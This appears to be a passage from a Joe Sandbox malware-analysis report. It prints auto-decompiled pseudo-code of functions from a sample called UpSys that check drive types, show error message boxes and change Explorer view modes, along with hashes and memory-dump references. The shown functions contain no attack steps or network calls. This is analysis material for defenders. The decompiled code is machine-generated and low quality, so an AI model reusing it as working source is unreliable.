                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014008A4E0 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 69%
                                                                                                                                                                                                        			E0000000114008A4E0(void* __ecx, void* __edx, void* __eflags, intOrPtr* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r9, long long _a8, long long _a16, long long _a24) {
				void* _v24;
				char _v248;
				long long _v256;
				long long _v264;
				long long _v272;
				char _v280;
				void* __rdi;
				int _t50;
				intOrPtr _t68;
				void* _t70;
				intOrPtr _t78;
				void* _t81;
				intOrPtr* _t97;
				intOrPtr* _t98;
				void* _t101;
				intOrPtr* _t102;
				void* _t144;
				intOrPtr* _t150;
				void* _t152;
				void* _t160;

				_t155 = __r8;
				_t145 = __rsi;
				_t97 = __rax;
				_t81 = __eflags;
				_t70 = __ecx;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t101 = __rdx;
				_t150 = __rcx;
				_t160 = __r8;
				E00000001140011960(E00000001140012D80(__edx, __rax, __rdx, __r8, 0x4009b6c0, __rsi, __r8),  *((intOrPtr*)( *((intOrPtr*)(_t101 + 8)))));
				_t5 = _t144 + 1; // 0x1
				r13d = _t5;
				_v280 =  *_t97;
				_v272 =  *((intOrPtr*)(_t97 + 8));
				_v264 =  *((intOrPtr*)(_t97 + 0x10));
				_t98 =  *((intOrPtr*)(_t97 + 0x18));
				_v256 = _t98;
				 *_t98 =  *_t98 + r13d;
				E000000011400624F0();
				if (E000000011400526A0(_t81, _t98, _t101,  &_v280, L"all", __rsi) == 0) goto 0x4008a572;
				goto 0x4008a61c;
				if (E000000011400526A0(E000000011400526A0(_t81, _t98, _t101,  &_v280, L"all", __rsi), _t98, _t101,  &_v280, L"cdrom", _t145) == 0) goto 0x4008a591;
				goto 0x4008a61c;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(_t81, _t98, _t101,  &_v280, L"all", __rsi), _t98, _t101,  &_v280, L"cdrom", _t145), _t98, _t101,  &_v280, L"removable", _t145) == 0) goto 0x4008a5ad;
				goto 0x4008a61c;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(_t81, _t98, _t101,  &_v280, L"all", __rsi), _t98, _t101,  &_v280, L"cdrom", _t145), _t98, _t101,  &_v280, L"removable", _t145), _t98, _t101,  &_v280, L"fixed", _t145) == 0) goto 0x4008a5c9;
				goto 0x4008a61c;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(_t81, _t98, _t101,  &_v280, L"all", __rsi), _t98, _t101,  &_v280, L"cdrom", _t145), _t98, _t101,  &_v280, L"removable", _t145), _t98, _t101,  &_v280, L"fixed", _t145), _t98, _t101,  &_v280, L"network", _t145) == 0) goto 0x4008a5e5;
				goto 0x4008a61c;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(_t81, _t98, _t101,  &_v280, L"all", __rsi), _t98, _t101,  &_v280, L"cdrom", _t145), _t98, _t101,  &_v280, L"removable", _t145), _t98, _t101,  &_v280, L"fixed", _t145), _t98, _t101,  &_v280, L"network", _t145), _t98, _t101,  &_v280, L"ramdisk", _t145) == 0) goto 0x4008a601;
				goto 0x4008a61c;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(_t81, _t98, _t101,  &_v280, L"all", __rsi), _t98, _t101,  &_v280, L"cdrom", _t145), _t98, _t101,  &_v280, L"removable", _t145), _t98, _t101,  &_v280, L"fixed", _t145), _t98, _t101,  &_v280, L"network", _t145), _t98, _t101,  &_v280, L"ramdisk", _t145), _t98, _t101,  &_v280, L"unknown", _t145) == 0) goto 0x4008a6ef;
				E00000001140050BF0(_t70, 0x61, 0x61, E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(_t81, _t98, _t101,  &_v280, L"all", __rsi), _t98, _t101,  &_v280, L"cdrom", _t145), _t98, _t101,  &_v280, L"removable", _t145), _t98, _t101,  &_v280, L"fixed", _t145), _t98, _t101,  &_v280, L"network", _t145), _t98, _t101,  &_v280, L"ramdisk", _t145), _t98, _t101,  &_v280, L"unknown", _t145), _t101,  &_v280, _t145,  *((intOrPtr*)(_t101 + 8)));
				E00000001140011830(_t101,  &_v280, L":\\", _t145, _t150);
				_t50 = GetDriveTypeW(??);
				if (_t50 == 0) goto 0x4008a658;
				if (0 != 0x63) goto 0x4008a67e;
				if (_t50 == r13d) goto 0x4008a67e;
				E000000011400130B0(_t98, _t101,  &_v280, _t155);
				E00000001140016E4C(_t152 - 0x120 + 0x40, _v280);
				_t78 = 0 + r13d;
				if (0x61 + r13d - 0x7a <= 0) goto 0x4008a621;
				if (_t78 <= 0) goto 0x4008a6f2;
				_t30 = _t144 + 1; // 0x1
				r8d = _t30;
				E00000001140012B40(r13d, _t160, _v280, _t145, _t155, __r9);
				r9d = 0;
				r8d = r13d;
				E00000001140011400(0, _t101, _t160, _t144, _t145, __r9);
				_t102 = _t98;
				E00000001140007A40(_t102, _t98, _t145);
				 *((intOrPtr*)(_t102 + 8)) = r13d;
				 *_t102 = _t78;
				_t68 = r13d;
				if (_t78 - r13d < 0) goto 0x4008a705;
				r9d = _t68;
				r8d = r13d;
				E00000001140011400(0, _t102, _t160, _t144,  &_v248, __r9);
				E00000001140012D80(0, _t98, _t102, _t98,  &_v248,  &_v248, _t155);
				if (_t68 + r13d - _t78 <= 0) goto 0x4008a6c7;
				goto 0x4008a705;
				r8d = 0;
				E00000001140002610(E0000000114000FCA0(r13d,  *_t150, _t102,  *((intOrPtr*)( *_t150 + 4)) + _t150,  &_v248 + 8), _t102,  &_v280);
				return 0;
			}























                                                                                                                                                                                                        0x14008a4e0
                                                                                                                                                                                                        0x14008a4e0
                                                                                                                                                                                                        0x14008a4e0
                                                                                                                                                                                                        0x14008a4e0
                                                                                                                                                                                                        0x14008a4e0
                                                                                                                                                                                                        0x14008a4e0
                                                                                                                                                                                                        0x14008a4e5
                                                                                                                                                                                                        0x14008a4ea
                                                                                                                                                                                                        0x14008a4fb
                                                                                                                                                                                                        0x14008a4fe
                                                                                                                                                                                                        0x14008a50b
                                                                                                                                                                                                        0x14008a51c
                                                                                                                                                                                                        0x14008a521
                                                                                                                                                                                                        0x14008a521
                                                                                                                                                                                                        0x14008a528
                                                                                                                                                                                                        0x14008a531
                                                                                                                                                                                                        0x14008a53a
                                                                                                                                                                                                        0x14008a53f
                                                                                                                                                                                                        0x14008a548
                                                                                                                                                                                                        0x14008a54d
                                                                                                                                                                                                        0x14008a550
                                                                                                                                                                                                        0x14008a568
                                                                                                                                                                                                        0x14008a56d
                                                                                                                                                                                                        0x14008a585
                                                                                                                                                                                                        0x14008a58c
                                                                                                                                                                                                        0x14008a5a4
                                                                                                                                                                                                        0x14008a5ab
                                                                                                                                                                                                        0x14008a5c0
                                                                                                                                                                                                        0x14008a5c7
                                                                                                                                                                                                        0x14008a5dc
                                                                                                                                                                                                        0x14008a5e3
                                                                                                                                                                                                        0x14008a5f8
                                                                                                                                                                                                        0x14008a5ff
                                                                                                                                                                                                        0x14008a614
                                                                                                                                                                                                        0x14008a629
                                                                                                                                                                                                        0x14008a63a
                                                                                                                                                                                                        0x14008a644
                                                                                                                                                                                                        0x14008a64c
                                                                                                                                                                                                        0x14008a651
                                                                                                                                                                                                        0x14008a656
                                                                                                                                                                                                        0x14008a664
                                                                                                                                                                                                        0x14008a676
                                                                                                                                                                                                        0x14008a67b
                                                                                                                                                                                                        0x14008a684
                                                                                                                                                                                                        0x14008a68b
                                                                                                                                                                                                        0x14008a68d
                                                                                                                                                                                                        0x14008a68d
                                                                                                                                                                                                        0x14008a694
                                                                                                                                                                                                        0x14008a699
                                                                                                                                                                                                        0x14008a69c
                                                                                                                                                                                                        0x14008a6a4
                                                                                                                                                                                                        0x14008a6ac
                                                                                                                                                                                                        0x14008a6af
                                                                                                                                                                                                        0x14008a6b7
                                                                                                                                                                                                        0x14008a6bb
                                                                                                                                                                                                        0x14008a6bd
                                                                                                                                                                                                        0x14008a6c0
                                                                                                                                                                                                        0x14008a6c7
                                                                                                                                                                                                        0x14008a6ca
                                                                                                                                                                                                        0x14008a6d2
                                                                                                                                                                                                        0x14008a6dd
                                                                                                                                                                                                        0x14008a6eb
                                                                                                                                                                                                        0x14008a6ed
                                                                                                                                                                                                        0x14008a6f6
                                                                                                                                                                                                        0x14008a70a
                                                                                                                                                                                                        0x14008a72d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DriveType
                                                                                                                                                                                                        • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                                                                                                                                                                        • API String ID: 338552980-1000479233
                                                                                                                                                                                                        • Opcode ID: e9d4558aca03cceb7e0b59b0004ebd820edb635499035b2e1b618cb4fa60530c
                                                                                                                                                                                                        • Instruction ID: 290de46d684c7e3a1cee2c3eae1a724824fb9652298df06c05b6703e36578a2a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e9d4558aca03cceb7e0b59b0004ebd820edb635499035b2e1b618cb4fa60530c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AD616E36214A4091EB62EB17E4907DA6361FBCD7C8F844111BB8D47ABAEF3DCA59C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400700A0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 142COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 61%
                                                                                                                                                                                                        			E000000011400700A0(void* __ecx, void* __edx, void* __ebp, long long __rax, long long __rbx, void* __rcx, long long __rsi, long long __rbp, void* __r10, void* __r11, long long _a8, long long _a16, char _a24, char _a56, char _a88, char _a120, void* _a152, void* _a8344) {
				void* __rdi;
				void* _t52;
				long long _t94;
				void* _t97;
				long long _t143;
				long long _t145;
				void* _t164;

				_t94 = __rax;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				E00000001140030CB0(0x20b0, __rax, __r10, __r11);
				_t148 = r8d;
				r12d = __edx;
				_t97 = __rcx;
				if ( *0x400b5492 != 0) goto 0x4007032b;
				if ( *((intOrPtr*)(__rcx + 0x1c4)) == 1) goto 0x4007032b;
				r9d = 0xfff;
				LoadStringW(??, ??, ??, ??);
				E00000001140001D30(__rax, __rcx,  &_a120,  &_a152);
				r9d = 0xfff;
				LoadStringW(??, ??, ??, ??);
				_t52 = E00000001140001D30(_t94, _t97,  &_a88,  &_a152);
				r8d =  *((intOrPtr*)(_t97 + 0x1c0));
				E00000001140042190(_t52, r8d);
				_t143 = _t94;
				r13d = E00000001140042150(r8d, 0x400c7ef0);
				E000000011400421C0(E000000011400421F0(r8d, 0x400c7ef0), _t55);
				_t145 = _t94;
				if (_t94 == 0) goto 0x400701a3;
				r8d = r13d;
				goto 0x400701aa;
				E000000011400178DC(_t94,  &_a152, L"Line %d  (File \"%s\"):\n\n",  &_a152,  *((intOrPtr*)(_t97 + 0x170)));
				E00000001140001D30(_t94, _t97,  &_a24,  &_a152);
				if (_t143 == 0) goto 0x400701e4;
				E00000001140011830(_t97,  &_a24, _t143, _t145, r8d);
				E00000001140011830(_t97,  &_a24, "\n", _t145, r8d);
				E0000000114000FD50(_t94, _t97,  &_a56);
				if (__ebp < 0) goto 0x40070241;
				E000000011400021B0(E000000011400107E0(_t94,  &_a56, _t143, _t143),  &_a56, r8d,  &_a152 | 0xffffffff);
				E00000001140011830(_t97,  &_a56, L"^ ERROR", _t145, r8d);
				E00000001140004740( &_a24,  &_a56,  *((intOrPtr*)(_t97 + 0x170)));
				E00000001140011830(_t97,  &_a24, "\n", _t145, _t148);
				E00000001140011830(_t97,  &_a24, L"\nError: ", _t145, _t148);
				E00000001140004740( &_a24,  &_a88,  *((intOrPtr*)(_t97 + 0x170)));
				if ( *0x400b5498 == 0) goto 0x400702b3;
				if (_t145 == 0) goto 0x40070297;
				r8d = r13d;
				_a16 = _a56;
				_a8 = _t143;
				E00000001140018334(L"%s (%d) : ==> %s:\n%s\n%s\n", _t145,  &_a152 | 0xffffffff, _a88);
				goto 0x400702d3;
				r8d =  *((intOrPtr*)(_t97 + 0x1c0));
				E00000001140018334(L"%s (%d) : ==> %s:\n",  *((intOrPtr*)(_t97 + 0x170)),  &_a152 | 0xffffffff, _a88);
				goto 0x400702d3;
				r9d = 0x11010;
				MessageBoxW(??, ??, ??, ??);
				 *((intOrPtr*)(_t97 + 0x1c4)) = 1;
				if ( *((char*)(_t97 + 0x1e4)) == 0) goto 0x400702f6;
				 *0x400b54a4 = _t164 + 0x7ffff000;
				goto 0x40070300;
				 *0x400b54a4 = 1;
				return E00000001140002610(E00000001140002610(E00000001140002610(E00000001140002610(_t164 + 0x7ffff000, _t97,  &_a56), _t97,  &_a24), _t97,  &_a88), _t97,  &_a120);
			}










                                                                                                                                                                                                        0x1400700a0
                                                                                                                                                                                                        0x1400700a0
                                                                                                                                                                                                        0x1400700a5
                                                                                                                                                                                                        0x1400700aa
                                                                                                                                                                                                        0x1400700b9
                                                                                                                                                                                                        0x1400700c8
                                                                                                                                                                                                        0x1400700cb
                                                                                                                                                                                                        0x1400700ce
                                                                                                                                                                                                        0x1400700d1
                                                                                                                                                                                                        0x1400700de
                                                                                                                                                                                                        0x1400700f8
                                                                                                                                                                                                        0x140070100
                                                                                                                                                                                                        0x140070116
                                                                                                                                                                                                        0x14007012a
                                                                                                                                                                                                        0x140070130
                                                                                                                                                                                                        0x140070143
                                                                                                                                                                                                        0x140070148
                                                                                                                                                                                                        0x14007015c
                                                                                                                                                                                                        0x140070164
                                                                                                                                                                                                        0x140070172
                                                                                                                                                                                                        0x14007017f
                                                                                                                                                                                                        0x140070193
                                                                                                                                                                                                        0x140070199
                                                                                                                                                                                                        0x14007019e
                                                                                                                                                                                                        0x1400701a1
                                                                                                                                                                                                        0x1400701aa
                                                                                                                                                                                                        0x1400701bc
                                                                                                                                                                                                        0x1400701c4
                                                                                                                                                                                                        0x1400701ce
                                                                                                                                                                                                        0x1400701df
                                                                                                                                                                                                        0x1400701e9
                                                                                                                                                                                                        0x1400701f0
                                                                                                                                                                                                        0x14007020b
                                                                                                                                                                                                        0x14007021c
                                                                                                                                                                                                        0x14007022b
                                                                                                                                                                                                        0x14007023c
                                                                                                                                                                                                        0x14007024d
                                                                                                                                                                                                        0x14007025c
                                                                                                                                                                                                        0x140070268
                                                                                                                                                                                                        0x140070272
                                                                                                                                                                                                        0x140070280
                                                                                                                                                                                                        0x140070283
                                                                                                                                                                                                        0x14007028b
                                                                                                                                                                                                        0x140070290
                                                                                                                                                                                                        0x140070295
                                                                                                                                                                                                        0x140070297
                                                                                                                                                                                                        0x1400702ac
                                                                                                                                                                                                        0x1400702b1
                                                                                                                                                                                                        0x1400702c7
                                                                                                                                                                                                        0x1400702cd
                                                                                                                                                                                                        0x1400702da
                                                                                                                                                                                                        0x1400702e4
                                                                                                                                                                                                        0x1400702ee
                                                                                                                                                                                                        0x1400702f4
                                                                                                                                                                                                        0x1400702f6
                                                                                                                                                                                                        0x140070347

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: LoadString$_errno
                                                                                                                                                                                                        • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                                                                                                                                        • API String ID: 2841243629-2354261254
                                                                                                                                                                                                        • Opcode ID: 86e36d492d4e9043a221b9142c6f34bacd319777408ed9c24539e09c0321c44b
                                                                                                                                                                                                        • Instruction ID: 48641748b1bdca4cdd0ce7d3ba04903cb7bdfe33d5210a3703be67c09dbfdc2f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 86e36d492d4e9043a221b9142c6f34bacd319777408ed9c24539e09c0321c44b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E161BE72228A8192EB12EB53E4547DEA365F798BC4F844122FB4D07ABADF79C506C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140063280 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 73windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 52%
                                                                                                                                                                                                        			E00000001140063280(void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r9, void* __r10, void* __r11, long long _a8, long long _a16, long long _a24, long long _a32, char _a40, char _a72, char _a104, void* _a8296, long long _a8344) {
				int _t41;
				void* _t42;
				void* _t55;
				void* _t80;
				void* _t84;

				_t81 = __rsi;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				E00000001140030CB0(0x2070, __rax, __r10, __r11);
				_t55 = __rcx;
				_t84 = __r9;
				_t80 = __rdx;
				GetModuleHandleW(??);
				_t5 =  &_a104; // 0x61
				r9d = 0xfff;
				LoadStringW(??, ??, ??, ??);
				_t6 =  &_a104; // 0x61
				_t7 =  &_a72; // 0x41
				E00000001140001D30(__rax, __rcx, _t7, _t6);
				if ( *((char*)(_t55 + 3)) == 0) goto 0x40063313;
				_t92 = __r9;
				_a32 = 0x4009b6c0;
				_a24 = _a8344;
				E00000001140018334(L"%s (%d) : ==> %s.: \n%s \n%s\n", _t80, _t5, __r9);
				goto 0x400633ac;
				_t12 =  &_a104; // 0x61
				if (_t80 != 0) goto 0x4006332b;
				E000000011400178DC(_a8344, _t12, L"Line %d:\n\n", _t5, _t92);
				goto 0x4006333a;
				E000000011400178DC(_a8344, _t12, L"Line %d  (File \"%s\"):\n\n", _t5, _t80);
				_t13 =  &_a104; // 0x61
				_t14 =  &_a40; // 0x21
				E00000001140001D30(_a8344, _t55, _t14, _t13);
				_t16 =  &_a40; // 0x21
				E00000001140011830(_t55, _t16, _a8344, __rsi, _t84);
				_t17 =  &_a40; // 0x21
				E00000001140011830(_t55, _t17, L"\n\nError: ", _t81, _t84);
				_t18 =  &_a40; // 0x21
				E00000001140011830(_t55, _t18, _t84, _t81, _t84);
				_t19 =  &_a40; // 0x21
				E00000001140011830(_t55, _t19, L".\n\n", _t81, _t84);
				r9d = 0x11010;
				_t41 = MessageBoxW(??, ??, ??, ??);
				_t22 =  &_a40; // 0x21
				_t42 = E00000001140002610(_t41, _t55, _t22);
				_t23 =  &_a72; // 0x41
				return E00000001140002610(_t42, _t55, _t23);
			}








                                                                                                                                                                                                        0x140063280
                                                                                                                                                                                                        0x140063280
                                                                                                                                                                                                        0x140063285
                                                                                                                                                                                                        0x14006328a
                                                                                                                                                                                                        0x140063295
                                                                                                                                                                                                        0x14006329d
                                                                                                                                                                                                        0x1400632a2
                                                                                                                                                                                                        0x1400632a8
                                                                                                                                                                                                        0x1400632ab
                                                                                                                                                                                                        0x1400632b7
                                                                                                                                                                                                        0x1400632bc
                                                                                                                                                                                                        0x1400632c5
                                                                                                                                                                                                        0x1400632cb
                                                                                                                                                                                                        0x1400632d0
                                                                                                                                                                                                        0x1400632d5
                                                                                                                                                                                                        0x1400632e1
                                                                                                                                                                                                        0x1400632f1
                                                                                                                                                                                                        0x1400632f4
                                                                                                                                                                                                        0x140063304
                                                                                                                                                                                                        0x140063309
                                                                                                                                                                                                        0x14006330e
                                                                                                                                                                                                        0x140063313
                                                                                                                                                                                                        0x14006331b
                                                                                                                                                                                                        0x140063324
                                                                                                                                                                                                        0x140063329
                                                                                                                                                                                                        0x140063335
                                                                                                                                                                                                        0x14006333a
                                                                                                                                                                                                        0x14006333f
                                                                                                                                                                                                        0x140063344
                                                                                                                                                                                                        0x140063351
                                                                                                                                                                                                        0x140063356
                                                                                                                                                                                                        0x140063362
                                                                                                                                                                                                        0x140063367
                                                                                                                                                                                                        0x14006336c
                                                                                                                                                                                                        0x140063374
                                                                                                                                                                                                        0x140063380
                                                                                                                                                                                                        0x140063385
                                                                                                                                                                                                        0x140063394
                                                                                                                                                                                                        0x14006339c
                                                                                                                                                                                                        0x1400633a2
                                                                                                                                                                                                        0x1400633a7
                                                                                                                                                                                                        0x1400633ac
                                                                                                                                                                                                        0x1400633ce

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: HandleLoadMessageModuleString_errno
                                                                                                                                                                                                        • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                                                                                                                                                                        • API String ID: 34033046-4153970271
                                                                                                                                                                                                        • Opcode ID: cdf5e7b8c9ad5bc7c39696c61f7d995f998bd80b8910718f27e53d54ab502178
                                                                                                                                                                                                        • Instruction ID: a2c28d74c85c3c31fd7fd464fdbca8865a315a6b10ef79c62cd94b7dda32c73c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cdf5e7b8c9ad5bc7c39696c61f7d995f998bd80b8910718f27e53d54ab502178
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 45318672228A8595EB51DB12F8407DA6325F798BC0F944012FB8D077BADF78C606C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400527D0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 54windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 54%
                                                                                                                                                                                                        			E000000011400527D0(void* __edx, void* __eflags, void* __rax, long long __rbx, void* __rcx, intOrPtr* __rdx, long long _a8) {
				char _v536;

				_t24 = __rax;
				_a8 = __rbx;
				GetParent(??);
				r8d = 0x100;
				GetClassNameW(??, ??, ??);
				if (E00000001140017790( &_v536, L"SHELLDLL_DefView") != 0) goto 0x40052894;
				if (E00000001140016D8C(__rax,  *__rdx, L"largeicons") != 0) goto 0x40052830;
				r8d = 0x7029;
				goto 0x4005287f;
				if (E00000001140016D8C(__rax,  *__rdx, L"details") != 0) goto 0x4005284b;
				r8d = 0x702c;
				goto 0x4005287f;
				if (E00000001140016D8C(_t24,  *__rdx, L"smallicons") != 0) goto 0x40052866;
				r8d = 0x702a;
				goto 0x4005287f;
				if (E00000001140016D8C(_t24,  *__rdx, L"list") != 0) goto 0x40052890;
				r8d = 0x702b;
				r9d = 0;
				SendMessageW(??, ??, ??, ??);
				goto 0x40052896;
				return 0;
			}




                                                                                                                                                                                                        0x1400527d0
                                                                                                                                                                                                        0x1400527d0
                                                                                                                                                                                                        0x1400527e3
                                                                                                                                                                                                        0x1400527ee
                                                                                                                                                                                                        0x1400527fa
                                                                                                                                                                                                        0x140052813
                                                                                                                                                                                                        0x140052826
                                                                                                                                                                                                        0x140052828
                                                                                                                                                                                                        0x14005282e
                                                                                                                                                                                                        0x140052841
                                                                                                                                                                                                        0x140052843
                                                                                                                                                                                                        0x140052849
                                                                                                                                                                                                        0x14005285c
                                                                                                                                                                                                        0x14005285e
                                                                                                                                                                                                        0x140052864
                                                                                                                                                                                                        0x140052877
                                                                                                                                                                                                        0x140052879
                                                                                                                                                                                                        0x14005287f
                                                                                                                                                                                                        0x14005288a
                                                                                                                                                                                                        0x140052892
                                                                                                                                                                                                        0x1400528a6

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ClassMessageNameParentSend_errno
                                                                                                                                                                                                        • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                                                                                                                                        • API String ID: 2243316544-3381328864
                                                                                                                                                                                                        • Opcode ID: 13a9dec8d4606deae45d5c94496941026453d34d5cddac68d3efdc03f34a622e
                                                                                                                                                                                                        • Instruction ID: 07f9d68ea9aa32ceaf1dabddc8ba6233167836c5c75da15263f45ef883177621
